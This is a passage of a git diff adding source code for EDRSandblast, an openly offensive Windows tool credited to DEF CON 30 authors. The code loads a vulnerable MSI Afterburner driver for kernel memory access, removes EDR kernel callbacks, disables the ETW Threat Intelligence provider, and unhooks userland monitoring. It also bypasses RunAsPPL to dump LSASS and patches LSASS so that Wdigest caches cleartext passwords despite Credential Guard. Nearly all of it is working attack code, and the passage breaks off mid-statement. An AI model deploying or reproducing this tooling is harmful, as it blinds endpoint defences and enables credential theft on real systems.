_SUPPORTED_WDIGEST_OFFSETS_END; i++) { + g_wdigestOffsets.ar[i] = _tcstoull(_tcstok_s(NULL, TEXT(","), &tmpBuffer), &endptr, 16); } break; } } fclose(offsetFileStream); - return offsetResults; +} + +void SaveWdigestOffsetsToFile(TCHAR* wdigestOffsetFilename) { + LPTSTR wdigestVersion = GetWdigestVersion(); + + FILE* offsetFileStream = NULL; + _tfopen_s(&offsetFileStream, wdigestOffsetFilename, TEXT("a")); + + if (offsetFileStream == NULL) { + _putts_or_not(TEXT("[!] Offset CSV file connot be opened")); + return; + } + + _ftprintf(offsetFileStream, TEXT("%s"), wdigestVersion); + for (int i = 0; i < _SUPPORTED_WDIGEST_OFFSETS_END; i++) { + _ftprintf(offsetFileStream, TEXT(",%llx"), g_wdigestOffsets.ar[i]); + } + _fputts(TEXT(""), offsetFileStream); + + fclose(offsetFileStream); +} + + +void LoadWdigestOffsetsFromInternet(BOOL delete_pdb) { + LPTSTR wdigestPath = GetWdigestPath(); + symbol_ctx* sym_ctx = LoadSymbolsFromImageFile(wdigestPath); + if (sym_ctx == NULL) { + return; + } + g_wdigestOffsets.st.g_fParameter_UseLogonCredential = GetSymbolAddress(sym_ctx, "g_fParameter_UseLogonCredential"); + g_wdigestOffsets.st.g_IsCredGuardEnabled = GetSymbolAddress(sym_ctx, "g_IsCredGuardEnabled"); + UnloadSymbols(sym_ctx, delete_pdb); +} + +TCHAR g_wdigestPath[MAX_PATH] = { 0 }; +LPTSTR GetWdigestPath() { + if (_tcslen(g_wdigestPath) == 0) { + // Retrieves the system folder (eg C:\Windows\System32). + TCHAR systemDirectory[MAX_PATH] = { 0 }; + GetSystemDirectory(systemDirectory, _countof(systemDirectory)); + + // Compute wdigest.dll path. + _tcscat_s(g_wdigestPath, _countof(g_wdigestPath), systemDirectory); + _tcscat_s(g_wdigestPath, _countof(g_wdigestPath), TEXT("\\wdigest.dll")); + } + return g_wdigestPath; +} + +TCHAR g_wdigestVersion[256] = { 0 }; +LPTSTR GetWdigestVersion() { + if (_tcslen(g_wdigestVersion) == 0) { + LPTSTR wdigestPath = GetWdigestPath(); + + TCHAR versionBuffer[256] = { 0 }; + GetFileVersion(versionBuffer, _countof(versionBuffer), wdigestPath); + + _stprintf_s(g_wdigestVersion, 256, TEXT("wdigest_%s.dll"), versionBuffer); + } + return g_wdigestVersion; } \ No newline at end of file diff --git a/EDRSandblast/Utils/WindowsServiceOps.c b/EDRSandblast/Utils/WindowsServiceOps.c new file mode 100644 index 0000000..e7e4eb2 --- /dev/null +++ b/EDRSandblast/Utils/WindowsServiceOps.c @@ -0,0 +1,165 @@ +#include "../EDRSandblast.h" +#include "WindowsServiceOps.h" + +BOOL ServiceAddEveryoneAccess(SC_HANDLE serviceHandle) { + BOOL status = FALSE; + DWORD dwSizeNeeded; + PSECURITY_DESCRIPTOR oldSd, newSd; + SECURITY_DESCRIPTOR dummySdForXP; + SID_IDENTIFIER_AUTHORITY SIDAuthWorld = SECURITY_WORLD_SID_AUTHORITY; + + EXPLICIT_ACCESS ForEveryoneACL = { + SERVICE_QUERY_STATUS | SERVICE_QUERY_CONFIG | SERVICE_INTERROGATE | SERVICE_ENUMERATE_DEPENDENTS | SERVICE_PAUSE_CONTINUE | SERVICE_START | SERVICE_STOP | SERVICE_USER_DEFINED_CONTROL | READ_CONTROL, + SET_ACCESS, + NO_INHERITANCE, + {NULL, NO_MULTIPLE_TRUSTEE, TRUSTEE_IS_SID, TRUSTEE_IS_WELL_KNOWN_GROUP, NULL} + }; + + if (!QueryServiceObjectSecurity(serviceHandle, DACL_SECURITY_INFORMATION, &dummySdForXP, 0, &dwSizeNeeded) && (GetLastError() == ERROR_INSUFFICIENT_BUFFER)) { + oldSd = (PSECURITY_DESCRIPTOR)LocalAlloc(LPTR, dwSizeNeeded); + if (oldSd) { + if (QueryServiceObjectSecurity(serviceHandle, DACL_SECURITY_INFORMATION, oldSd, dwSizeNeeded, &dwSizeNeeded)) { + if (AllocateAndInitializeSid(&SIDAuthWorld, 1, SECURITY_WORLD_RID, 0, 0, 0, 0, 0, 0, 0, (PSID*)&ForEveryoneACL.Trustee.ptstrName)) { + + if (BuildSecurityDescriptor(NULL, NULL, 1, &ForEveryoneACL, 0, NULL, oldSd, &dwSizeNeeded, &newSd) == ERROR_SUCCESS) { + status = SetServiceObjectSecurity(serviceHandle, DACL_SECURITY_INFORMATION, newSd); + LocalFree(newSd); + } + + FreeSid(ForEveryoneACL.Trustee.ptstrName); + } + } + LocalFree(oldSd); + } + } + return status; +} + +DWORD ServiceInstall(PCTSTR serviceName, PCTSTR displayName, PCTSTR binPath, DWORD serviceType, DWORD startType, BOOL startIt) { + SC_HANDLE hSC = NULL; + SC_HANDLE hS = NULL; + + hSC = OpenSCManager(NULL, SERVICES_ACTIVE_DATABASE, SC_MANAGER_CONNECT | SC_MANAGER_CREATE_SERVICE); + if (hSC) { + hS = OpenService(hSC, serviceName, SERVICE_START); + if (hS) { + _tprintf_or_not(TEXT("[+] \'%s\' service already registered\n"), serviceName); + } + + else { + if (GetLastError() == ERROR_SERVICE_DOES_NOT_EXIST) { + _tprintf_or_not(TEXT("[*] \'%s\' service was not present\n"), serviceName); + + hS = CreateService(hSC, serviceName, displayName, READ_CONTROL | WRITE_DAC | SERVICE_START, serviceType, startType, SERVICE_ERROR_NORMAL, binPath, NULL, NULL, NULL, NULL, NULL); + + if (hS) { + _tprintf_or_not(TEXT("[+] \'%s\' service is successfully registered\n"), serviceName); + if (ServiceAddEveryoneAccess(hS)) { + _tprintf_or_not(TEXT("[+] \'%s\' service ACL configured to for Everyone\n"), serviceName); + } + else { + _putts_or_not(TEXT("[!] ServiceAddEveryoneAccess")); + } + } + else { + PRINT_ERROR_AUTO(TEXT("CreateService")); + } + } + else { + PRINT_ERROR_AUTO(TEXT("OpenService")); + } + } + + if (hS) { + if (startIt) { + if (StartService(hS, 0, NULL)) { + _tprintf_or_not(TEXT("[+] \'%s\' service started\n"), serviceName); + } + else if (GetLastError() == ERROR_SERVICE_ALREADY_RUNNING) { + _tprintf_or_not(TEXT("[*] \'%s\' service already started\n"), serviceName); + } + else { + PRINT_ERROR_AUTO(TEXT("StartService")); + return GetLastError(); + } + } + CloseServiceHandle(hS); + } + CloseServiceHandle(hSC); + } + + else { + PRINT_ERROR_AUTO(TEXT("OpenSCManager(create)")); + return GetLastError(); + } + return 0x0; +} + +BOOL ServiceGenericControl(PCTSTR serviceName, DWORD dwDesiredAccess, DWORD dwControl, LPSERVICE_STATUS ptrServiceStatus) { + BOOL status = FALSE; + SC_HANDLE hSC, hS; + SERVICE_STATUS serviceStatus; + + hSC = OpenSCManager(NULL, SERVICES_ACTIVE_DATABASE, SC_MANAGER_CONNECT); + if (hSC) { + hS = OpenService(hSC, serviceName, dwDesiredAccess); + if (hS) { + status = ControlService(hS, dwControl, ptrServiceStatus ? ptrServiceStatus : &serviceStatus); + CloseServiceHandle(hS); + } + CloseServiceHandle(hSC); + } + return status; +} + +BOOL ServiceUninstall(PCTSTR serviceName, DWORD attemptCount) { + + // Used as a stop point for recursive calls to ServiceUninstall. + if (attemptCount > MAX_UNINSTALL_ATTEMPTS) { + _tprintf_or_not(TEXT("[!] Reached maximun number of attempts (%i) to uninstall the service \'%s\'\n"), MAX_UNINSTALL_ATTEMPTS, serviceName); + return FALSE; + } + + if (ServiceGenericControl(serviceName, SERVICE_STOP, SERVICE_CONTROL_STOP, NULL)) { + _tprintf_or_not(TEXT("[+] \'%s\' service stopped\n"), serviceName); + } + else if (GetLastError() == ERROR_SERVICE_NOT_ACTIVE) { + _tprintf_or_not(TEXT("[*] \'%s\' service not running\n"), serviceName); + } + else if (GetLastError() == ERROR_SERVICE_CANNOT_ACCEPT_CTRL) { + _tprintf_or_not(TEXT("[*] \'%s\' service cannot accept control messages at this time, waiting...\n"), serviceName); + Sleep(OP_SLEEP_TIME); + } + else { + PRINT_ERROR_AUTO(TEXT("ServiceUninstall")); + Sleep(OP_SLEEP_TIME); + return ServiceUninstall(serviceName, attemptCount + 1); + } + + SERVICE_STATUS status; + BOOL deleted = FALSE; + SC_HANDLE hSC = OpenSCManager(NULL, SERVICES_ACTIVE_DATABASE, SC_MANAGER_CONNECT); + if (hSC) { + SC_HANDLE hS = OpenService(hSC, serviceName, SERVICE_QUERY_STATUS | DELETE); + if (hS) { + if (QueryServiceStatus(hS, &status)) { + if (!(status.dwCurrentState == SERVICE_STOPPED)) { + CloseServiceHandle(hS); + CloseServiceHandle(hSC); + Sleep(OP_SLEEP_TIME); + return ServiceUninstall(serviceName, attemptCount + 1); + } + else { + deleted = DeleteService(hS); + CloseServiceHandle(hS); + } + } + } + CloseServiceHandle(hSC); + } + if (!deleted) { + Sleep(OP_SLEEP_TIME); + return ServiceUninstall(serviceName, attemptCount + 1); + } + return deleted; +} \ No newline at end of file diff --git a/EDRSandblast_CLI/EDRSandblast.c b/EDRSandblast_CLI/EDRSandblast.c new file mode 100644 index 0000000..c62b62f --- /dev/null +++ b/EDRSandblast_CLI/EDRSandblast.c @@ -0,0 +1,742 @@ +#include +#include +#include +#include +#include +#include +#include +#include + +#ifdef _DEBUG +#include +#endif + +#include "CredGuard.h" +#include "DriverOps.h" +#include "FileUtils.h" +#include "Firewalling.h" +#include "ETWThreatIntel.h" +#include "KernelCallbacks.h" +#include "KernelMemoryPrimitives.h" +#include "ProcessDump.h" +#include "ProcessDumpDirectSyscalls.h" +#include "NtoskrnlOffsets.h" +#include "ObjectCallbacks.h" +#include "PEBBrowse.h" +#include "RunAsPPL.h" +#include "Syscalls.h" +#include "Undoc.h" +#include "UserlandHooks.h" +#include "WdigestOffsets.h" + +#include "../EDRSandblast/EDRSandblast.h" + +typedef NTSTATUS(NTAPI* NtQueryInformationProcess_f)( + HANDLE ProcessHandle, + PROCESSINFOCLASS ProcessInformationClass, + PVOID ProcessInformation, + ULONG ProcessInformationLength, + PULONG ReturnLength + ); + +void PrintBanner() { + const TCHAR edrsandblast[] = TEXT(" ______ _____ _____ _____ _ _ _ _ \r\n | ____| __ \\| __ \\ / ____| | | | | | | | \r\n | |__ | | | | |__) | (___ __ _ _ __ __| | |__ | | __ _ ___| |_ \r\n | __| | | | | _ / \\___ \\ / _` | \'_ \\ / _` | \'_ \\| |/ _` / __| __|\r\n | |____| |__| | | \\ \\ ____) | (_| | | | | (_| | |_) | | (_| \\__ | |_ \r\n |______|_____/|_| \\_|_____/ \\__,_|_| |_|\\__,_|_.__/|_|\\__,_|___/\\__|\n"); + const TCHAR defcon[] = TEXT("D3FC0N 30 Edition"); + const TCHAR authors[2][256] = { TEXT("Thomas DIOT (@_Qazeer)"), TEXT("Maxime MEIGNAN (@th3m4ks)") }; + + srand(time(NULL)); + int r = rand() % 2; + + _putts_or_not(edrsandblast); + _tprintf_or_not(TEXT(" %s | %s & %s\n\n"), defcon, authors[r], authors[(r + 1) % 2]); +} + +BOOL WasRestarted() { + PROCESS_BASIC_INFORMATION pbi = { 0 }; + ULONG written = 0; + PE* n = PE_create(getModuleEntryFromNameW(L"ntdll.dll")->DllBase, TRUE); + NtQueryInformationProcess_f NtQueryInformationProcess = (NtQueryInformationProcess_f)PE_functionAddr(n, "NtQueryInformationProcess"); //TODO : use a less-dirty method + NtQueryInformationProcess(GetCurrentProcess(), ProcessBasicInformation, &pbi, sizeof(pbi), &written); + DWORD parentPid = (DWORD)pbi.InheritedFromUniqueProcessId; + HANDLE hParent = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, parentPid); + CHAR parentImage[MAX_PATH] = { 0 }; + CHAR myImage[MAX_PATH] = { 0 }; + GetProcessImageFileNameA(hParent, parentImage, sizeof(parentImage)); + GetProcessImageFileNameA(GetCurrentProcess(), myImage, sizeof(myImage)); + PE_destroy(n); + return strcmp(parentImage, myImage) == 0; +} + +/* + +--- Execution entry point. + +*/ + +int _tmain(int argc, TCHAR** argv) { + // Parse command line arguments and initialize variables to default values if needed. + const TCHAR usage[] = TEXT("Usage: EDRSandblast.exe [-h | --help] [-v | --verbose] [--usermode [--unhook-method ] [--direct-syscalls]] [--kernelmode] [--dont-unload-driver] [--no-restore] [--driver ] [--service ] [--nt-offsets ] [--wdigest-offsets ] [--add-dll ]* [-o | --dump-output ]"); + const TCHAR extendedUsage[] = TEXT("\n\ +-h | --help Show this help message and exit.\n\ +-v | --verbose Enable a more verbose output.\n\ +\n\ +Actions mode:\n\ +\n\ +\taudit Display the user-land hooks and / or Kernel callbacks without taking actions.\n\ +\tdump Dump the process specified by --process-name (LSASS process by default), as '' in the current directory or at the\n\ +\t specified file using -o | --output .\n\ +\tcmd Open a cmd.exe prompt.\n\ +\tcredguard Patch the LSASS process' memory to enable Wdigest cleartext passwords caching even if\n\ +\t Credential Guard is enabled on the host. No kernel-land actions required.\n\ +\tfirewall Add Windows firewall rules to block network access for the EDR processes / services.\n\ +\n\ +--usermode Perform user-land operations (DLL unhooking).\n\ +--kernelmode Perform kernel-land operations (Kernel callbacks removal and ETW TI disabling).\n\ +\n\ +--unhook-method \n Choose the userland un-hooking technique, from the following: \n\ +\n\ +\t0 Do not perform any unhooking (used for direct syscalls operations).\n\ +\t1 (Default) Uses the (probably monitored) NtProtectVirtualMemory function in ntdll to remove all\n\ +\t present userland hooks.\n\ +\t2 Constructs a 'unhooked' (i.e. unmonitored) version of NtProtectVirtualMemory, by\n\ +\t allocating an executable trampoline jumping over the hook, and remove all present\n\ +\t userland hooks.\n\ +\t3 Searches for an existing trampoline allocated by the EDR itself, to get an 'unhooked'\n\ +\t (i.e. unmonitored) version of NtProtectVirtualMemory, and remove all present userland\n\ +\t hooks.\n\ +\t4 Loads an additional version of ntdll library into memory, and use the (hopefully\n\ +\t unmonitored) version of NtProtectVirtualMemory present in this library to remove all\n\ +\t present userland hooks.\n\ +\t5 Allocates a shellcode that uses a direct syscall to call NtProtectVirtualMemory,\n\ +\t and uses it to remove all detected hooks\n\ +--direct-syscalls Use direct syscalls to conduct the specified action if possible (for now only for process dump).\n\ +\n\ +Other options:\n\ +\n\ +--dont-unload-driver Keep the vulnerable driver installed on the host\n\ + Default to automatically unsinstall the driver.\n\ +--no-restore Do not restore the EDR drivers' Kernel Callbacks that were removed.\n\ + Default to restore the callbacks.\n\ +\n\ +--driver Path to the Micro-Star MSI Afterburner vulnerable driver file.\n\ + Default to 'RTCore64.sys' in the current directory.\n\ +--service Name of the vulnerable service to intall / start.\n\ +\n\ +--nt-offsets Path to the CSV file containing the required ntoskrnl.exe's offsets.\n\ + Default to 'NtoskrnlOffsets.csv' in the current directory.\n\ +--wdigest-offsets Path to the CSV file containing the required wdigest.dll's offsets\n\ + (only for the 'credguard' mode).\n\ + Default to 'WdigestOffsets.csv' in the current directory.\n\ +\n\ +--add-dll Loads arbitrary libraries into the process' address space, before starting\n\ + anything. This can be useful to audit userland hooking for DLL that are not\n\ + loaded by default by this program. Use this option multiple times to load\n\ + multiple DLLs all at once.\n\ + Example of interesting DLLs to look at: user32.dll, ole32.dll, crypt32.dll,\n\ + samcli.dll, winhttp.dll, urlmon.dll, secur32.dll, shell32.dll...\n\ +\n\ +-o | --output Output path to the dump file that will be generated by the 'dump' mode.\n\ + Default to 'process_name' in the current directory.\n\ +\ +-i | --internet Enables automatic symbols download from Microsoft Symbol Server\n\ + If a corresponding *Offsets.csv file exists, appends the downloaded offsets to the file for later use\n\ + OpSec warning: downloads and drops on disk a PDB file for ntoskrnl.exe and/or wdigest.dll\n"); + + BOOL status; + HRESULT hrStatus = S_OK; + TCHAR currentFolderPath[MAX_PATH] = { 0 }; + GetCurrentDirectory(_countof(currentFolderPath), currentFolderPath); + + if (argc < 2) { + _tprintf_or_not(TEXT("%s"), usage); + return EXIT_FAILURE; + } + + START_MODE startMode = none; + TCHAR driverPath[MAX_PATH] = { 0 }; + TCHAR driverDefaultName[] = DEFAULT_DRIVER_FILE; + TCHAR ntoskrnlOffsetCSVPath[MAX_PATH] = { 0 }; + TCHAR wdigestOffsetCSVPath[MAX_PATH] = { 0 }; + TCHAR processName[] = TEXT("lsass.exe"); + TCHAR outputPath[MAX_PATH] = { 0 }; + BOOL verbose = FALSE; + BOOL removeVulnDriver = TRUE; + BOOL restoreCallbacks = TRUE; + BOOL userMode = FALSE; + BOOL internet = FALSE; + enum UNHOOK_METHOD_e unhook_method = UNHOOK_WITH_NTPROTECTVIRTUALMEMORY; + BOOL directSyscalls = FALSE; + BOOL kernelMode = FALSE; + int lpExitCode = EXIT_SUCCESS; + struct FOUND_EDR_CALLBACKS* foundEDRDrivers = NULL; + BOOL ETWTIState = FALSE; + BOOL foundNotifyRoutineCallbacks = FALSE; + BOOL foundObjectCallbacks = FALSE; + HOOK* hooks = NULL; + //TODO implement a "force" mode : remove notify routines & object callbacks without checking if it belongs to an EDR (useful as a last resort if a driver is not recognized) + + + for (int i = 1; i < argc; i++) { + if (_tcsicmp(argv[i], TEXT("dump")) == 0) { + startMode = dump; + } + else if (_tcsicmp(argv[i], TEXT("cmd")) == 0) { + startMode = cmd; + } + else if (_tcsicmp(argv[i], TEXT("credguard")) == 0) { + startMode = credguard; + } + else if (_tcsicmp(argv[i], TEXT("audit")) == 0) { + startMode = audit; + } + else if (_tcsicmp(argv[i], TEXT("firewall")) == 0) { + startMode = firewall; + } + else if (_tcsicmp(argv[i], TEXT("-h")) == 0 || _tcsicmp(argv[i], TEXT("--help")) == 0) { + _putts_or_not(usage); + _putts_or_not(extendedUsage); + return EXIT_SUCCESS; + } + else if (_tcsicmp(argv[i], TEXT("-v")) == 0 || _tcsicmp(argv[i], TEXT("--verbose")) == 0) { + verbose = TRUE; + } + else if (_tcsicmp(argv[i], TEXT("--usermode")) == 0) { + userMode = TRUE; + } + else if (_tcsicmp(argv[i], TEXT("--kernelmode")) == 0) { + kernelMode = TRUE; + } + else if (_tcsicmp(argv[i], TEXT("--dont-unload-driver")) == 0) { + removeVulnDriver = FALSE; + } + else if (_tcsicmp(argv[i], TEXT("--no-restore")) == 0) { + restoreCallbacks = FALSE; + } + else if (_tcsicmp(argv[i], TEXT("--driver")) == 0) { + i++; + if (i > argc) { + _tprintf_or_not(TEXT("%s"), usage); + return EXIT_FAILURE; + } + _tcsncpy_s(driverPath, _countof(driverPath), argv[i], _tcslen(argv[i])); + } + else if (_tcsicmp(argv[i], TEXT("--service")) == 0) { + i++; + if (i > argc) { + _tprintf_or_not(TEXT("%s"), usage); + return EXIT_FAILURE; + } + SetDriverServiceName(argv[i]); + } + else if (_tcsicmp(argv[i], TEXT("--nt-offsets")) == 0) { + i++; + if (i > argc) { + _tprintf_or_not(TEXT("%s"), usage); + return EXIT_FAILURE; + } + _tcsncpy_s(ntoskrnlOffsetCSVPath, _countof(ntoskrnlOffsetCSVPath), argv[i], _tcslen(argv[i])); + } + else if (_tcsicmp(argv[i], TEXT("--wdigest-offsets")) == 0) { + i++; + if (i > argc) { + _tprintf_or_not(TEXT("%s"), usage); + return EXIT_FAILURE; + } + _tcsncpy_s(wdigestOffsetCSVPath, _countof(wdigestOffsetCSVPath), argv[i], _tcslen(argv[i])); + } + else if (_tcsicmp(argv[i], TEXT("-o")) == 0 || _tcsicmp(argv[i], TEXT("--dump-output")) == 0) { + i++; + if (i > argc) { + _tprintf_or_not(TEXT("%s"), usage); + return EXIT_FAILURE; + } + _tcsncpy_s(outputPath, _countof(outputPath), argv[i], _tcslen(argv[i])); + } + else if (_tcsicmp(argv[i], TEXT("--process-name")) == 0) { + i++; + if (i > argc) { + _tprintf_or_not(TEXT("%s"), usage); + return EXIT_FAILURE; + } + _tcsncpy_s(processName, _countof(processName), argv[i], _tcslen(argv[i])); + } + else if (_tcsicmp(argv[i], TEXT("--unhook-method")) == 0) { + i++; + if (i > argc) { + _tprintf_or_not(TEXT("%s"), usage); + return EXIT_FAILURE; + } + unhook_method = _ttoi(argv[i]); + } + else if (_tcsicmp(argv[i], TEXT("--direct-syscalls")) == 0) { + directSyscalls = TRUE; + } + else if (_tcsicmp(argv[i], TEXT("--add-dll")) == 0) { + i++; + if (i > argc) { + _tprintf_or_not(TEXT("%s"), usage); + return EXIT_FAILURE; + } + HANDLE hAdditionnalLib = LoadLibrary(argv[i]); + if (hAdditionnalLib == INVALID_HANDLE_VALUE) { + _tprintf_or_not(TEXT("Library %s could not have been loaded, exiting...\n"), argv[i]); + return EXIT_FAILURE; + } + } + else if (_tcsicmp(argv[i], TEXT("-i")) == 0 || _tcsicmp(argv[i], TEXT("--internet")) == 0) { + internet = TRUE; + } + else { + _tprintf_or_not(TEXT("%s"), usage); + return EXIT_FAILURE; + } + } + + if (WasRestarted()) { + removeVulnDriver = FALSE; + } + else { + PrintBanner(); + } + + // Command line option consistency checks. + if (startMode == none){ + _putts_or_not(TEXT("[!] You did not provide an action to perform: audit, dump, credguard or cmd")); + return EXIT_FAILURE; + } + if (startMode == cmd && !kernelMode) { + _putts_or_not(TEXT("'cmd' mode needs kernel-land unhooking to work, please enable --kernelmode")); + return EXIT_FAILURE; + } + if (!userMode && !kernelMode) { + _putts_or_not(TEXT("[!] You did not provide at least one option between --usermode and --kernelmode. Enabling --usermode by default...\n")); + userMode = TRUE; + } + if (!userMode && kernelMode) { + _putts_or_not(TEXT("[!] If kernel mode bypass is enabled, it is recommended to enable usermode bypass as well (e.g. to unhook the NtLoadDriver API call)\n")); + } + if (startMode == credguard && !kernelMode) { + _putts_or_not(TEXT("[!] Credential Guard bypass might fail if RunAsPPL is enabled. Enable --kernelmode to bypass PPL\n")); + } + if (startMode == dump && !kernelMode) { + _putts_or_not(TEXT("[!] LSASS dump might fail if RunAsPPL is enabled. Enable --kernelmode to bypass PPL\n")); + } + + // TODO: set isSafeToExecutePayloadUserland by unhook to TRUE / FALSE if there are still hooks. + BOOL isSafeToExecutePayloadUserland = TRUE; + BOOL isSafeToExecutePayloadKernelland = TRUE; + + if (userMode) { + _putts_or_not(TEXT("[===== USER MODE =====]\n")); + _putts_or_not(TEXT("[+] Detecting userland hooks in all loaded DLLs...")); + hooks = searchHooks(NULL); + _putts_or_not(TEXT("")); + + if (startMode != audit && unhook_method != UNHOOK_NONE) { + if (hooks->disk_function != NULL) { + _putts_or_not(TEXT("[+] [Hooks]\tRemoving detected userland hooks...")); + } + for (HOOK* ptr = hooks; ptr->disk_function != NULL; ptr++) { + printf_or_not("[+] [Hooks]\tUnhooking %s using method %ld...\n", ptr->functionName, unhook_method); + // TODO: return if all hook could be removed and set isSafeToExecutePayloadUserland. + unhook(ptr, unhook_method); + } + } + _putts_or_not(TEXT("")); + } + + if (kernelMode) { + _putts_or_not(TEXT("[===== KERNEL MODE =====]\n")); + + if (_tcslen(driverPath) == 0) { + PathCchAppend(driverPath, _countof(driverPath), currentFolderPath); + PathCchAppend(driverPath, _countof(driverPath), driverDefaultName); + } + if (!FileExists(driverPath)) { + _tprintf_or_not(TEXT("[!] Required driver file not present at %s\nExiting...\n"), driverPath); + return EXIT_FAILURE; + } + + if (_tcslen(ntoskrnlOffsetCSVPath) == 0) { + TCHAR offsetCSVName[] = TEXT("NtoskrnlOffsets.csv"); + PathCchAppend(ntoskrnlOffsetCSVPath, _countof(ntoskrnlOffsetCSVPath), currentFolderPath); + PathCchAppend(ntoskrnlOffsetCSVPath, _countof(ntoskrnlOffsetCSVPath), offsetCSVName); + } + + _putts_or_not(TEXT("[+] Setting up prerequisites for the kernel read/write primitives...")); + // Initialize the global variable containing ntoskrnl.exe Notify Routines', _PS_PROTECTION and ETW TI functions offsets. + if (FileExists(ntoskrnlOffsetCSVPath)) { + _putts_or_not(TEXT("[+] Loading kernel related offsets from the CSV file")); + LoadNtoskrnlOffsetsFromFile(ntoskrnlOffsetCSVPath); + if (!NtoskrnlAllKernelCallbacksOffsetsArePresent()) { // (only check notify routines offsets, because ETW Ti might legitimately be absent on "old" Windows versions) + _putts_or_not(TEXT("[!] Offsets are missing from the CSV for the version of ntoskrnl in use.")); + } + } + if (internet && !NtoskrnlAllKernelCallbacksOffsetsArePresent()) { + _putts_or_not(TEXT("[+] Downloading kernel related offsets from the MS Symbol Server (will drop a .pdb file in current directory)")); +#if _DEBUG + LoadNtoskrnlOffsetsFromInternet(FALSE); +#else + LoadNtoskrnlOffsetsFromInternet(TRUE); +#endif + if (!NtoskrnlAllKernelCallbacksOffsetsArePresent()) { + _putts_or_not(TEXT("[-] Downloading offsets from the internet failed !")); + } + else { + _putts_or_not(TEXT("[+] Downloading offsets succeeded !")); + if (FileExists(ntoskrnlOffsetCSVPath)) { + _putts_or_not(TEXT("[+] Saving them to the CSV file...")); + SaveNtoskrnlOffsetsToFile(ntoskrnlOffsetCSVPath); + } + } + } + if (!NtoskrnlAllKernelCallbacksOffsetsArePresent()) { + _putts_or_not(TEXT("[!] The offsets must be computed using the provided script and added to the offsets CSV file. Aborting...\n")); + return EXIT_FAILURE; + } + + // Print the kernel offsets in verbose mode. + if (verbose) { + PrintNtoskrnlOffsets(); + } + + // Install the vulnerable driver to have read / write in Kernel memory. + LPTSTR serviceNameIfAny = NULL; + BOOL isDriverAlreadyRunning = IsDriverServiceRunning(driverPath, &serviceNameIfAny); + if (isDriverAlreadyRunning){ + _putts_or_not(TEXT("[+] Vulnerable driver is already running!\n")); + SetDriverServiceName(serviceNameIfAny); + } + else { + _putts_or_not(TEXT("[+] Installing vulnerable driver...")); + status = InstallVulnerableDriver(driverPath); + if (status != TRUE) { + _putts_or_not(TEXT("[!] An error occurred while installing the vulnerable driver")); + _putts_or_not(TEXT("[*] Uninstalling the service and attempting the install again...")); + Sleep(20000); + CloseDriverHandle(); + status = UninstallVulnerableDriver(); + Sleep(2000); + status = status && InstallVulnerableDriver(driverPath); + Sleep(2000); + if (status != TRUE) { + _putts_or_not(TEXT("[!] New uninstall / install attempt failed, make sure that there is no trace of the driver left...")); + return EXIT_FAILURE; + } + } + Sleep(5000);// TODO : replace by a reliable method to check if the driver is ready + _putts_or_not(TEXT("\n")); + } + + // Checks if any EDR callbacks are configured. If no EDR callbacks are found, then dump LSASS / exec cmd / patch CredGuard. Ohterwise, remove the EDR callbacks and start a new (unmonitored) process executing itself to dump LSASS. + _putts_or_not(TEXT("[+] Checking if any EDR kernel notify rountines are set for image loading, process and thread creations...")); + foundEDRDrivers = (struct FOUND_EDR_CALLBACKS*)calloc(1, sizeof(struct FOUND_EDR_CALLBACKS)); + if (!foundEDRDrivers) { + _putts_or_not(TEXT("[!] Couldn't allocate memory to enumerate the drivers in Kernel callbacks")); + return EXIT_FAILURE; + } + foundNotifyRoutineCallbacks = EnumEDRNotifyRoutineCallbacks(foundEDRDrivers, verbose); + if (foundNotifyRoutineCallbacks) { + isSafeToExecutePayloadKernelland = FALSE; + } + _putts_or_not(TEXT("")); + + _putts_or_not(TEXT("[+] Checking if EDR callbacks are registered on processes and threads handle creation/duplication...")); + foundObjectCallbacks = EnumEDRProcessAndThreadObjectsCallbacks(foundEDRDrivers); + _tprintf_or_not(TEXT("[+] [ObjectCallblacks]\tObject callbacks are %s !\n"), foundObjectCallbacks ? TEXT("present") : TEXT("not found")); + if (foundObjectCallbacks) { + isSafeToExecutePayloadKernelland = FALSE; + } + _putts_or_not(TEXT("")); + + _putts_or_not(TEXT("[+] [ETWTI]\tChecking the ETW Threat Intelligence Provider state...")); + ETWTIState = isETWThreatIntelProviderEnabled(verbose); + _tprintf_or_not(TEXT("[+] [ETWTI]\tETW Threat Intelligence Provider is %s!\n"), ETWTIState ? TEXT("ENABLED") : TEXT("DISABLED")); + _putts_or_not(TEXT("")); + if (ETWTIState) { + isSafeToExecutePayloadKernelland = FALSE; + } + } + + if (startMode != audit) { + + if (isSafeToExecutePayloadKernelland && (isSafeToExecutePayloadUserland || directSyscalls)) { + _putts_or_not(TEXT("[+] Process is \"safe\" to launch our payload\n")); + + // Do the operation the tool was started for. + switch (startMode) { + + // Start a process executing cmd.exe. + case cmd: + _putts_or_not(TEXT("[+] Kernel callbacks have normally been removed, starting cmd.exe\n") + TEXT("WARNING: EDR kernel callbacks will be restored after exiting the cmd prompt (by typing exit)\n") + TEXT("WARNING: While unlikely, the longer the callbacks are removed, the higher the chance of being detected / causing a BSoD upon restore is!\n")); + // Find cmd.exe path. + TCHAR systemDirectory[MAX_PATH] = { 0 }; + GetSystemDirectory(systemDirectory, _countof(systemDirectory)); + TCHAR cmdPath[MAX_PATH] = { 0 }; + _tcscat_s(cmdPath, _countof(cmdPath), systemDirectory); + _tcscat_s(cmdPath, _countof(cmdPath), TEXT("\\cmd.exe")); + _tsystem(cmdPath); + break; + + // Dump the LSASS process in a new thread. + case dump: + if (kernelMode) { + if (g_ntoskrnlOffsets.st.eprocess_protection != 0x0) { + _putts_or_not(TEXT("\n[+] RunPPL bypass: Self protect our current process as Light WinTcb(PsProtectedSignerWinTcb - Light) since PPL is supported by the OS. This will allow access to LSASS if RunAsPPL is enabled")); + SetCurrentProcessAsProtected(verbose); + } + } + + _putts_or_not(TEXT("[+] Attempting to dump the process")); + + // Determine dump path based on specified process name. + if (_tcslen(outputPath) == 0) { + TCHAR* processNameFilename = _tcsdup(processName); + hrStatus = PathCchRemoveExtension(processNameFilename, _tcslen(processNameFilename) + 1); + if (FAILED(hrStatus)) { + free(processNameFilename); + processNameFilename = _tcsdup(TEXT("dmp.txt")); + } + _tcscat_s(outputPath, _countof(outputPath), currentFolderPath); + _tcscat_s(outputPath, _countof(outputPath), TEXT("\\")); + _tcscat_s(outputPath, _countof(outputPath), processNameFilename); + if (processNameFilename) { + free(processNameFilename); + processNameFilename = NULL; + } + } + else if (PathIsRelative(outputPath)) { + SIZE_T newOutputPathsZ = _tcslen(currentFolderPath) + _tcslen(TEXT("\\")) + _tcslen(outputPath) + 1; + TCHAR* newOutputPath = calloc(newOutputPathsZ, 